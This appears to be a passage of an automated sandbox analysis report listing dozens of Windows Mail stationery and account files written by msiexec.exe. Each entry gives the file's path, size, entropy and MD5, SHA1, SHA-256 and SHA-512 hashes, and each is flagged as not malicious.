SHA-512:	90286CC518C170E03B2294B65B4A31E113AAE90A5E4001474C6E4A352C3D874B3BC993B62D1C3257A51BED8AAAB56DDEB66BF2430BBB05970C67B14EB700289B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Garden.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706258994957704
Encrypted:	false
MD5:	9E49C9D771638F60CF5489141FA62075
SHA1:	C3530D67399FD0234373301C9DAA61234CFF6ABA
SHA-256:	4CBBA870E487166C70D610A31EB8243B0771B457A9AFE26A4E8915C811342700
SHA-512:	322993ADD8DF27997E652121960A8CB50FD5E908A60410DD615D9739D4E5B09A21661AEE75E16F92A1ACCB24E8A32DB481EE64B39FEB3FA7D243466AB5CAC309
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Genko_1.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.674652074474832
Encrypted:	false
MD5:	6F85A8A7E8128200DCB1DACB5268780B
SHA1:	F9092938773A41C80745F953BC4D254FA5AA2FEA
SHA-256:	DB015CA96722E2560C438C46F22D937E92BF8AE5F98347935833F9A1CA7E6B57
SHA-512:	F1E2F68BF94C561739886AD4F383CE1ED25FAA7672584BFD15FCF8A3F43475225BA6EF405E168671168E088A0580D6F279CE75FF0307C2555107660C4061ECD3
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Genko_2.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.645915914544585
Encrypted:	false
MD5:	235B3EC1AD0D60912003743291181622
SHA1:	FB668DB6996BA951E950884602795DEE49A30406
SHA-256:	3A753002A82F6543FDAF89609573C0D25ED9EFE020ADCD3D9DFA0824DDE2A38E
SHA-512:	C7E0C9732B48CA5CF81C12360E27019714BA6EDD390FBEFD05D3682E28EEFC23CA75AF01F639779AE2F1F91FBBB46D6FAF7B0B1700C9C02D635139C28FE150C9
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Graph.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.731367707066676
Encrypted:	false
MD5:	BFA34D0DD59EB688FD84C7533526E385
SHA1:	51FD6A6A70B7BFA7D30EE243F7A049CF9B2B8263
SHA-256:	7E5946B5B821CDF21E79BC9C00B6E0A85DB298370D96D565BE6589631A37F9D9
SHA-512:	D99039B2F064DCF36007618E61F7C02B8DCB6727939E3C81BAC05872C3261D6699AAF890B5821616698E3C09A51E8698B1DBCFDB93FD1DB78B482EA22F2084A9
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Green Bubbles.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.659368502510055
Encrypted:	false
MD5:	62C2495A70497C75B87F12A5FBE3A685
SHA1:	EA49064864C7F6321E8E9F90B2DF374EA08075F4
SHA-256:	18F4378D340FFB0EA103BEF00D4D46081733A00B078F2FFB597CCFCE66099282
SHA-512:	931C71DA5CBFEF1881D72BCB7BD662BF9194F11B0B9040859220D376733A2504A19E2814EC601F115A5D9A24516B63F9A0F813EAB036BD569C808A2AA1DDE155
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\GreenBubbles.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701174441863844
Encrypted:	false
MD5:	F8B8A04784C971B7C747E1DEFDEAEDC7
SHA1:	B3B65196C6D77E918EE14BE5CB033CECD0661DDA
SHA-256:	9D0AF612D6209B8D9AD1FF541404E59C564475120AD954CD03702E4DA59A63E6
SHA-512:	4BEFFFDE859E50F33DA0609639C16DE83F32C8910A8A860A515186FA105CC86A647495E37809879C87070D89D9A5E228A568FDE27DF3705D8666EBE50D34008F
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Hand Prints.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68655251043649
Encrypted:	false
MD5:	B2032AD60FB619BEAD595F1FD8CF816B
SHA1:	1E392D7F02D2ED0FD3F179D1474352190DC7B20F
SHA-256:	E26DDABEE186DAED96B4EB8F00DF9A963BF284301715DFF8B480562AD337FA1B
SHA-512:	205BE40773FF74514DE73B1BD80FAB0F2A87B572DF6484FEFA40FC316490BC7B736C0B0E5CE56835FB3E223D5563BBDB34A94AFEBCCA5E962A0D72FB2CDB83C8
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\HandPrints.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.67116582964681
Encrypted:	false
MD5:	ADB5BCD874EDABDC4D3D16C2EFA26875
SHA1:	7DF96739D3A51FD7C5B6948DBB96B5B749C149AC
SHA-256:	8A59A25FFE14B7796381515FF1F411C8A8C42A48F67CC7C7B35052FBC7781F28
SHA-512:	0A4F04B0320263A07D10DB604E4DC2B269829DACBC26659266DD2A32EEBEAE7A7473FE26E00715E09D4AFE351D62E1A16CDA643E9449945488AF4E9554280BF7
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Memo.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.657277887457909
Encrypted:	false
MD5:	93D74FA883D01FA894EDE03D7FE727A6
SHA1:	3864B3FD5E476FFFF6752AC9693A6C375A8A706D
SHA-256:	C5355CD39C3F1149A378496F787860E05DEDDA8100E5A63279F3FFBC8BB267D9
SHA-512:	D14419CEBC9159B5CC4066E41C4B26A21112066E95E90665D3F35F775B993D25D2D2DAA289F5955CAAFF7EFA533935FF85163987FB8A34700DCCBF1734F61836
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Monet.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706587284007854
Encrypted:	false
MD5:	1E573F2461E7BB316F0782EB76F2274A
SHA1:	D57865CDB4996B47E3C03A9DE08182E5D1AAA4E7
SHA-256:	3AF57494D9CBE69752E0187203B1E1D3FB212782AB7EB86F64E4349BEAF65C2B
SHA-512:	439E1EBC9C631D5A9418AFD57BDFF3D88EFC7542580926C72139B647B1EF7EBFA2D9B134D38A7E894D83A6065E2944BB5FD95352F7FEAFE6B7A3D98C4811C4CD
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Month_Calendar.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.692310991298292
Encrypted:	false
MD5:	76222547316BEBBB36FF8A8CF42B6E75
SHA1:	9AF73A120E74B14F3831C2F8B5143CEC499926F0
SHA-256:	8FB52F2F2982D29276874536B18C54F1DD2A18DCE50802858DC77217FD430EEB
SHA-512:	73034B1C9BF41A4D6E503B87E9044897EB16AA1F7958F77C3CD8F8DC7A24F801A3691E8B4CD68CC3B8E6B65A7B59E17833374382848C737AFB27E80B83C54844
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Music.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.655191487402156
Encrypted:	false
MD5:	B55C8848C27A8AFC08A93991CE493284
SHA1:	E3B02336CC4E26C0B4A112F08DEF9D54BB28D62C
SHA-256:	7E720C59AEECBD476BD310080D221E1BDFEBFC1A84DEFEC67C27F3CB00303917
SHA-512:	6A63BB95851638E4AD4F9E409C03E3906477E096CC34D5D1E81B9893B35309593DEC9ED6D2A29AE1F104288F24BF3F7E6A1AE6F291EF6901C554D87C7E1D584E
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Notebook.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.642218158595628
Encrypted:	false
MD5:	BEA673B12B89922F6D0096A8C8D5B441
SHA1:	710834CCDFB5C304A3ABF5B17C68B7CE0659F275
SHA-256:	5524B45130DD8C543EDB28ADAA9B5889CE152083A2E7B2A585DCF141F2924407
SHA-512:	94377309BDAFB5FF8B7E270AB4DA2516CF191FA8AE273EE702925B5B0AE0860B0234BF8E79F3907623808C86CBC3882E1EB9DB2990300C1D44BA1412AE4E3D30
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Orange Circles.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.698538959133288
Encrypted:	false
MD5:	8C4568AA7532991278BC1A2225212232
SHA1:	90837E4F2D8459434CDFDF7E41BAAA85566519E7
SHA-256:	79323BC20B4B7B4599C009A005BE9F875F8348283F338D2EB7F9E6DAD75A5C29
SHA-512:	8BAE4EE3CAAA48BFB489F1FAE2AAF0DB5634A181D08E1D1774320F5CA75920ECA4B809F2B6B2ECBD5A27FF3DDAF424E8559AF8E6E0D3E784B30A5CE5C8F16147
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\OrangeCircles.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.668732943432559
Encrypted:	false
MD5:	F7A06777F7AB9B9338DC0CA74BED3239
SHA1:	9B582E2C16B90CD8762D9C43C3C59287FEA53526
SHA-256:	7191C694B4A22722037090228E374A28ACB86D24CC372B892BBAF2F60FC9E484
SHA-512:	DF9315BF5424AAACCEE5E3F7E33492E485F4659BB569928E5B54A3A0134C4FAAB75344E65099B9915F7A4BCD771B9AE8C286841A811E33AAD474DA3D89011C34
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Peacock.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.687514705540834
Encrypted:	false
MD5:	66D717E72EBE58264F426B5DCAAE25E8
SHA1:	68173FA5860FE7C22BE14C4596765B5BBFE1BD79
SHA-256:	D729191EA1E20F2B9B4DDB7F602DC8603A60B28D3984A3BE3FE89F5D137D1822
SHA-512:	7D43D641FD78D4734CC0A60C710AE025F0CD40A706965667D4DBF2E2B6806FEA5AEB918D951BC7226044EDC0D93D161CB0A6F2730DFA97FCD143BF3F24ECBC8B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Peacock.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.676415501495387
Encrypted:	false
MD5:	087444B09C0E2DA917B6F60BFB3B2C60
SHA1:	FBCD68D0CDF15057704F9EFF34E7B0B6F1E8AF37
SHA-256:	02F6367DD36F0691102483AFC94EA425DB97EA8BF88056177458CB84669E9C6F
SHA-512:	BE3A73DDBB2F85B984181E00451E2B7F8B06F82E389C2C7DB87D4B349A2C1EC54956C17CF8E7E354D530AA589EF97C22269536C60E3E8F8DA22519B1D98A857B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Pine_Lumber.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.705684214596132
Encrypted:	false
MD5:	E85ED5F7AA7C027B900BC37400429781
SHA1:	2188755B1FC485C1766667C12923A594187A0DF4
SHA-256:	6D1C1ACD1877590835646B494B19D284D1B650675F47083DA998E010352FF1DA
SHA-512:	B948F1F09ADB2F43321CB1784C7F49E612FD679E75B480EBCEAE6AAF316A565AFDF9834A8D4F43279BBBDE3FD42D673D356A910F8902A3E89CDE444548175F2F
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Pretty_Peacock.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.675586475666125
Encrypted:	false
MD5:	A998123AFE24FA13F7951DABF85FF236
SHA1:	0E6507D4870273F8E6F77A83C9D6BEBC064FF98E
SHA-256:	A0ACE57D48E01B81DCF8148C2CE778681F83AD3EE271DCCF6E23D76C5F97F58C
SHA-512:	09F99D1B802254D45615011949D6438AAD97BEC9462558A39B3B5164DC5A8CC91AF48EFBA6B35930CB00A11A3B83389102B537408163EF7C92411F6BDCA0B179
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Psychedelic.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.65003263714799
Encrypted:	false
MD5:	A6AFDBCF2D1955A766CE55DBF4EE4472
SHA1:	928C66E1A6C8FE2058BD00B5C681EE07F963C2B6
SHA-256:	1FE84D05AC7B7B0610DCD2DBC57F14FABF3B487EA14387B57B84ECC125F20E01
SHA-512:	E64DC98E588E5DAA96691CA9606534D6E3594797259D206DB33CA2E54EEA45FB0857C816CFBA89549EC181C14D001BF0F5832F171604D055F556B695B96F01A1
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Roses.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6609745649321646
Encrypted:	false
MD5:	67BE698BBCF881CC0998576C7606CE51
SHA1:	717C1F86553764DE2D567112F4971DDEB91FFCE6
SHA-256:	62AC0B9E4667986F0B9DCE17E384D03757E0CB35F5F5C9DB83615004A149095F
SHA-512:	3756DB5D1418D8A8C7659293522CE7A213B85CB0F8899C534A744B5617C2FA29AB6F3F661A4BC9A541CFC33C71414EBB9B2987E8010A39FF402825FC0141E029
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Roses.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.663253794388675
Encrypted:	false
MD5:	E2AF46BF784903D8B94B3D9D59254153
SHA1:	2A4C0CAF2A868644136B659007C809E111D15936
SHA-256:	10C1E81F336FAFC7DBC5904B4B25BDF8391621EBD6A4577A10BA4F92CB96ACDC
SHA-512:	7CF12665BE452D7FFDE381DB1D5864442E71C2505BFF2082B412EC082D3932D414BB0D3C6198DC7CD031B2936E6CFDF64FE956A4CC8E2D191B0363466FE59C9B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Sand_Paper.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69078984059275
Encrypted:	false
MD5:	EAB7E27DBD5A7E80C7BF81685F257270
SHA1:	13306D53C12D89588D4B0B38FA5EBFB8FA5AA9E2
SHA-256:	BB74D7D7FA801C37C65F448BB457C6BB4A96E566ECC41C1AB66BE6A7CB398BD2
SHA-512:	4E7C8D95C4D639E6F12ACA6FEDD564780FD23A0E6F04591E34B83BD80C927EA53F7777625F46AA8E0CB48CCA4810DE105EF4B1B2367AAA7AAEAE8EEAAFAE9A99
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Seyes.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.643690945931811
Encrypted:	false
MD5:	CFCBEF447CB03F7238BD898BD0FE1FAE
SHA1:	0405C5B56A2AB3C77AB4D58E25A35D1D69E6633C
SHA-256:	B3F9385FA5171F855D1B270A273E69292FE76DFABFCB5D2D2C06DDB60E1F760E
SHA-512:	5C97E83D85235DC2CFCFC47525724ED71D9297A54E51E1E966296BC351CEBABD54A71D6BF6EE13B2F3CB412A9CF108717678BC56CC3E99F62B4B6A3C877C2334
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Shades of Blue.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.710215216440941
Encrypted:	false
MD5:	1B686003C25DB658477891B30EF7C258
SHA1:	35E0F1C6C778823E348518F4C72C9C9FFD7CD031
SHA-256:	EB0596BE4E85D6942ED6452B67DD080F719E0F2892F45AE64AAE8CA5FC8B4723
SHA-512:	FB0B1CA54866C20EFB03C2148B72F144581AF6C11A3B474346A3F86FD3987A75140BB16ACE6E257F5BD93254FB007927027E142C5AC1B851E0D640F394897FD5
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\ShadesOfBlue.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.664457270600329
Encrypted:	false
MD5:	DF35B9668E928E2A4FA436C98AF76E5D
SHA1:	A0B345232147B21609818EDF095C34BEED2F0504
SHA-256:	9A40333E4EC0B2FA7D75F96AB8871E4F6A23A891961740376CF3FFA34D9729A5
SHA-512:	7B867F621FC639FB0C251AA425047CE0E0EDE3FBDA21BAE8968387E61AE6CA9D0ABC1F1C28F0684AE5FD12A960F7A1EAE697EE34373B1F883172BFF2F477BB3B
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Shorthand.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6941045671062
Encrypted:	false
MD5:	F38091ED1F1CA6CC2B87C3E0856D5C7B
SHA1:	A6EB4AD1203BE597E9C9B980985B131B5C3707DB
SHA-256:	A0D5B887F5429B6F98A798FF65AFB23EF74088F70BDE23B6EEAC37F917E46F43
SHA-512:	FECAFE6506D0845F11168899D36F46A25F6925552DA0A0F970ABFE6FC66B6F4BE2E0DF157A9336F2D2F9709AD75CA4740F242E403275B603C40EB5E6015BFC1C
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Small_News.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.683851650220458
Encrypted:	false
MD5:	B0EFC2CB4992834CDAE03FAF1D254C80
SHA1:	A1851AAA1D636F3DF625CEFC1DDFA31473C82995
SHA-256:	CC62128B104F6F1166331FE2B8CED523AEBFF1A9E50824C098BAA4B39F3FCC27
SHA-512:	AF0FAF02D5EF7B274ACFF0D904AB9B3CA84336D6CB309D161DEE2DDA8D1173FD379EABF1B2C240FBA9554B80C7C72329DE647AB847992C73849BB35DEFD37ADC
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Soft Blue.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7019587254572635
Encrypted:	false
MD5:	3C7A61CBC987F4A12D36D2D65BD7BE5B
SHA1:	12331920E46C8A20F47B62077B04750BF286A02B
SHA-256:	9651A5EDD0B883544FAEE01008D5E340E58A31F17F67E3ECA53363F1FA6F01CD
SHA-512:	2A53EB09594559049A2913A99D47AF82D0F809BA6018E5D5890CCA748C2279E09CB6984B455B2B3620A57A72365E6FD679D3A7C85D3000DA36E5B1F686952BAE
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\SoftBlue.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706647345478376
Encrypted:	false
MD5:	6F598A24793AD200898F5BCC997C85EA
SHA1:	0CCC2A09093CA222C8627C353E7AF1558182265D
SHA-256:	51B283CAE3DC6A4A0B40CBE37FFF02972D0558B0EF08187FB709FBD252851DD2
SHA-512:	CA1ED6F2246D44FB02F074FE49EDD37FEE0C97B9861FE0C591603BD95E20387FB182448B2AF2FB70081E59EC7C58381FBFE3E66857F4245E03566B936C031485
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Stars.htm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.710589666823335
Encrypted:	false
MD5:	8A3526C898777876054981DB2FDF0A7C
SHA1:	D073342CBCC684B2C058D840C56469D4509F733A
SHA-256:	35386361499F84FB7329E56C56B3EECA664D0D5337A93A44B93F965A68FB0A8D
SHA-512:	549F635AA2ECD09B59D4D79C5697827EAF0FBB6B02302B63DF16EC558B46DD3B19FC1AEC6C64BB514F63D6BCC81FE4F82F5BB73921FBF709463A46C643429013
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Stars.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.689570197705697
Encrypted:	false
MD5:	3B430DEE6671981F9779A32977EEB7F9
SHA1:	708E1B4B80A5341227D7B38213D2397DBA69492B
SHA-256:	B868CCD5D2089CD0204D3E82DD3AE60E18B950017625CE73104E82234C0A04E6
SHA-512:	350F1FE22B64E9D7E8CF701B5C2370DA0D3025B960D8ABF44123FEA1F18359D79EF40F0928604234C1C38C29CCF9FC078C3E77491D573F443B72B924E14611F2
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Stucco.gif
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.657064422807497
Encrypted:	false
MD5:	EDC2F79B5F83A0271453726CC31974E8
SHA1:	8DBFA4789463EB7D0DB0BF9B6E9DB949076762E6
SHA-256:	203C323A2665CDD9FF81121001C946D79E21A2DB0D0ADDBA7597DC2D8331CAF7
SHA-512:	37692DADE70597FA273085E63D4755A2DF6BD1A4CDAAE4380D7943DD095F6A85CF44736A295FD0C73C55E8A50B57B76212E195659FDA6F6D9E56A6A3E12DD72C
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Tanspecks.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.703746749146033
Encrypted:	false
MD5:	A79921EFE83507887844D295D1705460
SHA1:	71C9462159839F36A7D88B99E59262BF46FE9835
SHA-256:	80A9C45917C6EDEC42DBE65E5EAA71C2B76182B76E0F48B0C739A120C621BB09
SHA-512:	7F1E61C92F121F464EB096D49C72559C36128122D0242CD288FE306E181417E938B7EB70F6E38E9620B75E11718189AEB42F71ECF27A9562B51C616A32AE74A6
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Tiki.gif
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.721868907513343
Encrypted:	false
MD5:	1D86EFEFAB73B48F5DFE76CEC4CF959C
SHA1:	369B670EE3B75C1D2B3975996836309A104D2BDE
SHA-256:	9671F80A22A01DC2E23C2C96C17BB43566AC4B4824EAFACA289913DA838F99D5
SHA-512:	5C0C91470D15FE822C482ACAEF52B9CAC3C8B07BC51981B1124D4FA5EA7D02D9B0868DA8CCAAC740E3D013B6FE6316F3568854514137CF067856304A7ED311DF
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\To_Do_List.emf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.681606530969852
Encrypted:	false
MD5:	DE65B15F0193BF27A8280449F015E7ED
SHA1:	8D3D15DE3D0482CBE58CA5992AB72CDB8D87CCF9
SHA-256:	3F58A45DB6744647DDB8B32ED669C9550B4C655614D04F8DFDA469D15E42DD9D
SHA-512:	401CBC9000613BC5DAA9C843024CA31C91E9B0B100FF8D2C5B0C5C09F7382899CEA02FF347E15E234E821B7D560EDE802DA8284685354DCBF0C8C7D8B3B80817
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\White_Chocolate.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.699108423479898
Encrypted:	false
MD5:	53FDFB49E6489E00038D68FBD042C9A2
SHA1:	730BF01F43118E071981585053EE79E20D50EB1A
SHA-256:	0368C9D8969AF864FEA1B15DB89A94961183B187962476B96462E7AC0509ADFA
SHA-512:	BE3B8A2C06B5927D08264D1DEE88D205D54026AD4730916B6CF61CB847A8EADC4C72D374FEC0A9D4923DAA65874DF9DC2D2332CB2F7A9AFF65FFF436034014BC
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\Wrinkled_Paper.gif
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706130188446029
Encrypted:	false
MD5:	04A7072EF41EEAAD519DF69666616F16
SHA1:	CCDBF2AA2DD59FBA2F21B9913C62536636087476
SHA-256:	AEEA03CCECB874F11188D3BFC404A7F35CC89F0842AC4B64887326FDF5EC645A
SHA-512:	E9C0B0CF303083F3719DD3BA4E511B05C36E9E91DBBDBBF58EE7DCDC597BF6200D1578A6EA356AD45EA251109DBD21CA3F2E6E3EE41CC78F99D8B0A622686BA1
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\grid_(cm).wmf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.696831378586837
Encrypted:	false
MD5:	53BE43B6313EACFA0A4C6753BCC535F9
SHA1:	7A1C8478C9F0EBA27FC6D7004462C88D31B0E585
SHA-256:	D7638169EB4BBC77FF25D5573116BF870DF391589E8D7268881E9D2FC55EDD5F
SHA-512:	BAC5BFF86D6DEB1F66F6D90AB2CF193A606FD088FCBEED05EBA06DE48D6281634B29F11E25526168FCC06759CD94D6222742339F3D1F1F8B6746795843426EDC
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery\grid_(inch).wmf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701294818382722
Encrypted:	false
MD5:	FF5B5638E1A46CAE8F789775287CE763
SHA1:	3D665501AF1154A3C6B387FA6D8AF7DD77B0E442
SHA-256:	C8CCF3D791552044718CBC26D99A05D554DF6F3CC86F6BCB8E64169B4D2BFBF9
SHA-512:	781D41DC14D0BD6141383805D954FB0514AFCCAC03FBB66D9589C1B0CA2FA753317E8F97C05F1A7BA9682FD42961CDE7B13ED7E6AFA482FB96310DFCFE8B0AAA
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\WindowsMail.MSMessageStore
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.739074943771369
Encrypted:	false
MD5:	FE4B3A0D8DD911FCDD34BA2C06E3B398
SHA1:	A09DEFCFC6DDFA05F886ECA0FE17DA9BB5C38192
SHA-256:	DD559D11B584B9A0702F03DD2607DF8C603D0B6C7080F558F59C3914A395D906
SHA-512:	B83F88E2A1C2E3C6679C3F3A2741ECC9C324CBA96E9332CBEA4342EA54A7E86E55386F5D0E0CE66FFC34D3807C11E0CE7A082E6174F5419A55894C04E8F70143
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\WindowsMail.pat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.645068460572998
Encrypted:	false
MD5:	3B0BB1969951713FC4BD301FDD69BACE
SHA1:	F91C954EC9CE45E1DEE34B908A867506C5A08CDA
SHA-256:	8BDEB5F3A673C2BA62D929E3061BF6F70E0042AB542B6E4D8CBE093B4C6E0E02
SHA-512:	C10CFDD41B4F528941395841BEC77603FCE017FDE1CACBC826A31E64BD6FBB1C22A4C2A2A0F3E6CD8C0E09986410A22D881C6A2CB0A4B4136744037A36010805
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\account{6BD0B4C9-26C7-4880-BF1E-CE7EE8A49A26}.oeaccount
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7070720902157435
Encrypted:	false
MD5:	36D8DFB29F03B3ABBC42336AFD7FC046
SHA1:	B1402D1D7C90344F4F2ED1B09656346376F3F34C
SHA-256:	EA33AD8AB20781E88FC0ACA8392D44C59D89C819F98E45F982D67C0FA9A62509
SHA-512:	080E3B903258AE723F8A2D378A711A5D57665C1BE6633102949DED14C857A9D6C148CB74B8128CF0A8E9C3B77546D37CBAC9D6F0C466A06154F45C86475D821C
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\account{A1C77904-2A01-4A55-87CB-ABDCE33E10C0}.oeaccount
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7057442760666515
Encrypted:	false
MD5:	1911FA6F3B1948A6A5FE06C94EE14F1E
SHA1:	E286246E4ABB08C8C160993055DEC9188D77EDD2
SHA-256:	87671C5EBC80455B60323CBE498467BA791040B05A4943E6CCD161FB8BAF11DA
SHA-512:	05E6F788DAB72EA946878363D310AF7C8CE8D98A92CE1461D3816FCA4CE2E352E6C74EAAB9695A22E8AF93CE6189F72BEBB64B1C68841C0D34D238AFB1D16AD0
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows Mail\account{C45C778D-B18A-45C2-BF69-0F3043B9711D}.oeaccount
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6851956310449525
Encrypted:	false
MD5:	BB5D478E433021DCB88657F256901A3B
SHA1:	BAFFB2A59BBFF383B698002BAFA88A8014ABF5F7
SHA-256:	3F07DB47A620E89E5129927A266BC7F270F6596FF03F5A0D9DBF154F0AB1970E
SHA-512:	9968328426E6BF2F61B7983F4F30DA24DAB894B8007876E3C4373C49CD28E70A9DC193C9DA70A23AA76637319AC94238A55305C90CFE3A3E9B65B63245643FE2
Malicious:	false

